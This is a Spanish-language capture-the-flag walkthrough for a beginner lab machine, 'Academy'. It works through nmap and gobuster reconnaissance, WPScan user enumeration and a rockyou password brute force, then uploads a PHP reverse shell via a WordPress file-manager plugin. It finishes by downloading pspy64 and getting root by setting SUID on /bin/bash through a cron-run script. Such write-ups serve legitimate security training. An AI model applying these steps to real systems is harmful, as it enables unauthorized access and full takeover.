Academy
🔍 Dificultad: Principiante
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.1.84
para verificar la conectividad de red.

A continuación, se realiza el comando:
nmap -sVC -p- -n --min-rate 5000 192.168.1.84
para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,80 -v 192.168.1.84
para obtener más información sobre ese puerto específicamente.

Seguimos indagando más sobre los puertos y ahora exploramos el servicio HTTP. Ingresamos la IP y nos encontramos la página de por defecto de Apache.

Ahora buscaremos directorios con la herramienta Gobuster a través de:
gobuster dir -u http://192.168.1.84/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Vemos que nos encontramos un directorio de WordPress.

Nos encontramos ante un sitio basado en WordPress. Generalmente, las páginas de WordPress no se visualizan correctamente si no se ha añadido la dirección correspondiente en el archivo /etc/hosts
. Para solucionar esto, llevaré a cabo el siguiente procedimiento:
Primero, accedo a la URL http://192.168.1.84/wordpress
. Posteriormente, reviso el código fuente de la página presionando Ctrl + U
. Al hacerlo, puedo observar que la web está configurada para apuntar a la dirección academy.thl
.

Realizamos fuzzing de nuevo para WordPress.
gobuster dir -u http://192.168.1.84/wordpress/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con WPScan enumeramos el usuario.
wpscan --url http://academy.thl/wordpress --enumerate u,vp

Sabiendo el usuario tenemos que conseguir la contraseña.
wpscan --url http://academy.thl/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames dylan

Ingresamos las credenciales en el panel de login.

🚀 EXPLOTACIÓN
Tenemos un plugin de WordPress Bit File Manager que nos permite subir archivos por lo que subiremos una Reverse Shell. https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Nos ponemos en escucha en nuestra máquina atacante.

Después de haber logrado la intrusión, es común que la consola que recibimos sea inestable. Si presionamos Ctrl + C
, podemos perder la conexión. Para estabilizar la consola, realizaremos un tratamiento de la TTY con los siguientes pasos:
Ejecutamos el siguiente comando:
script /dev/null -c bash
A continuación, presionamos Ctrl + Z
para suspender la sesión.
Configuramos la terminal con:
stty raw -echo; fg
Luego, restablecemos el terminal con:
reset xterm
Nota: Es posible que durante este proceso no se muestre en pantalla lo que estamos tecleando.
Finalmente, exportamos las variables necesarias:
export TERM=xterm
export SHELL=bash
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoami
aún no somos root, por lo que hacemos:
sudo -l
para ver si hay algo para explotar. Requiere contraseña.
Nos descargamos la herramienta pspy64.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
Realizamos lo siguiente para ejecutarlo.
chmod +x pspy64
./pspy64


Vemos que hay un error en las extensiones por lo que creamos el archivo backup.sh
. Es un archivo con permisos SUID .
echo 'chmod u+s /bin/bash' >> backup.sh
Le damos permisos de ejecución.
chmod +x backup.sh
Ejecutamos el comando.
bash -p
Ya somos root.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
Last updated
Was this helpful?